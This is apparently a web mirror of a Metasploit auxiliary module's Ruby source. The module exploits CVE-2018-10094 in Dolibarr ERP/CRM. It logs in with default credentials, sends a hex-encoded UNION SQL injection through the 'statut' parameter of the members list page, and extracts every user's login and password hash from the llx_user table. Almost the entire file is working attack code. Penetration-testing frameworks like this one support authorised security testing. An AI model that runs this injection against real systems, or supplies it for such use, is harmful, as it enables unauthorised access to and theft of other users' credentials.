CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/dolibarr_creds_sqli.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Dolibarr Gather Credentials via SQL Injection',
12
'Description' => %q{
13
This module enables an authenticated user to collect the usernames and
14
encrypted passwords of other users in the Dolibarr ERP/CRM via SQL
15
injection.
16
},
17
'Author' => [
18
'Issam Rabhi', # PoC
19
'Kevin Locati', # PoC
20
'Shelby Pace', # Metasploit Module
21
],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2018-10094' ],
25
[ 'EDB', '44805']
26
],
27
'DisclosureDate' => '2018-05-30'
28
))
29
30
register_options(
31
[
32
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
33
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
34
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
35
])
36
end
37
38
def check_availability
39
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
40
res = send_request_cgi(
41
'method' => 'GET',
42
'uri' => normalize_uri(login_page)
43
)
44
45
return false unless res && res.body.include?('Dolibarr')
46
47
return res
48
end
49
50
def login(response)
51
return false unless response
52
53
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
54
cookies = response.get_cookies
55
print_status("Logging in...")
56
57
login_res = send_request_cgi(
58
'method' => 'POST',
59
'uri' => login_uri,
60
'cookie' => cookies,
61
'vars_post' => {
62
'username' => datastore['USERNAME'],
63
'password' => datastore['PASSWORD'],
64
'loginfunction' => 'loginfunction'
65
}
66
)
67
68
unless login_res && login_res.body.include?('id="mainmenua_members"')
69
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
70
end
71
72
print_good("Successfully logged into Dolibarr")
73
return cookies
74
end
75
76
def get_info(cookies)
77
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
78
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
79
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
80
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
81
inject_uri <<= cmd
82
83
inject_res = send_request_cgi(
84
'method' => 'GET',
85
'uri' => normalize_uri(inject_uri),
86
'cookie' => cookies
87
)
88
89
unless inject_res && inject_res.body.include?('id="searchFormList"')
90
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
91
end
92
93
print_good("Accessed credentials")
94
format_results(inject_res.body)
95
end
96
97
def format_results(output)
98
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
99
100
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
101
102
credentials.each do |i, j|
103
print_good("#{j} #{i}")
104
store_valid_credential(user: j, private: i)
105
end
106
end
107
108
def run
109
available_res = check_availability
110
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
111
112
cookies = login(available_res)
113
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
114
115
get_info(cookies)
116
end
117
end
118
119